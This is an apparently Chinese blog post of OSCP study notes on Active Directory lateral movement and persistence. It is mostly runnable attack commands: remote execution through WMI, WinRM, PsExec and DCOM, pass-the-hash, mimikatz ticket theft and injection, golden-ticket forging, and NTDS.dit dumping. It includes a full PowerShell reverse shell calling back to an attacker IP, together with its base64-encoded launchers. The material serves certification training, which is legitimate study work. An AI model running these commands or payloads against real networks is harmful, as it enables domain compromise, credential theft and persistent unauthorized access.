文章总结: 本文介绍了OSCP学习中的AD域横向移动技术,包括WMI、WinRM、PsExec、hash传递、hash跨越、票据传递、DCOM等多种攻击技术,以及黄金票据和Shadow副本等AD持久化方法。文章提供了具体的命令和操作步骤,帮助读者理解如何在AD环境中进行横向移动和维持访问权限。
综合评分: 90
文章分类: 渗透测试,红队,内网渗透,网络安全,WEB安全
OSCP | AD域横向移动
原创
小A法师
高级红队专家
2024年7月9日 06:59
北京
教材和学习方式详见开篇:OSCP学习之路-开篇
本篇对应教材第23章,主要内容“AD横向移动技术”、“AD持久化”,记录使用工具和命令
23.1 AD横向移动技术
23.1.1 WMI和WinRM
WMI:Windows管理接口(使用135端口和19152-65535之前的高端口),创建计算器进程
wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
使用powershell
$username = 'jen';$password = 'Nexus123!';$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;$options = New-CimSessionOption -Protocol DCOM$session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options $command = 'calc';Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
要获得反弹shell,可以使用powershell反弹,先做编码
import sysimport base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
注意编码utf16
python3 encode.py
获得powershell的反弹shell代码
$username = 'jen';$password = 'Nexus123!';$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;$Options = New-CimSessionOption -Protocol DCOM$Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options$Command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
WinRM:远程主机管理(使用5986https和5985http)
winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"
winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
powershell
$username = 'jen';$password = 'Nexus123!';$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;New-PSSession -ComputerName 192.168.50.73 -Credential $credential
成功返回
session ID 1
进入session可以执行命令
Enter-PSSession 1
23.1.2 PsExec
条件
用户是本地administrators组开启ADMIN$开启文件和打印共享
./PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd
23.1.3 hash传递(pth)
条件
smb的445端口可访问开启ADMIN$开启文件和打印共享
/usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E [email protected]
23.1.4 hash跨越
获得一台机器的用户(本地管理员system权限)后,有与管理员登录的话,使用mimikatz获得其他用户hash(域管理员),就可以使用hash跨越
privilege::debugsekurlsa::logonpasswords
创建域管权限的进程
sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
查看票据
klist
没有票据
net use \\files04klist
有票据了
执行命令
.\PsExec.exe \\files04 cmd
23.1.5 票据传递
场景:当前用户没有权限访问某共享文件夹,使用mimikatz获得另一个具有权限的票据TGS,然后导入就可以访问了
whoamils \\web04\backup
当前用户没权限访问
privilege::debugsekurlsa::tickets /exportdir *.kirbi
找到另一个账号的票据注入到当前用户session
kerberos::ptt [0;12bd0][email protected]
查看已经有了dave的票据
ls \\web04\backup
可以访问了
23.1.6 DCOM(分布式组件对象模型)
使用135端口
powershell
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")tasklist | findstr "calc"
远程运行计算器,换成反弹shell
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5A...AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA","7")
23.2 AD持久化
23.2.1 黄金票据
使用krbtgt的hash伪造票据
PsExec64.exe \\DC1 cmd.exe
当前用户没有权限访问DC1
到DC1上获得krbtgt的hash
privilege::debuglsadump::lsa /patch
获得域SID和krbtgt的hash
在任意机器上先删除错误票据,为指定用户创建黄金票据,开启指定用户的cmd
kerberos::purgekerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /pttmisc::cmd
然后访问DC1,需要使用主机名,使用IP会无法访问
PsExec.exe \\dc1 cmd.exewhoami /groups
当前用户属于域管组了
23.2.2 Shadow副本
使用域管备份
vshadow.exe -nw -p C:
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
拷贝文件到指定目录
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
注册表获取system
reg.exe save hklm\system c:\system.bak
获得上面两个文件后可以获得所有用户hash
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
我在第一篇里提到的一些有价值的认证,还有什么质量高的认证考试我没想到的,可以私我
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:高级红队专家 小A法师《OSCP | AD域横向移动》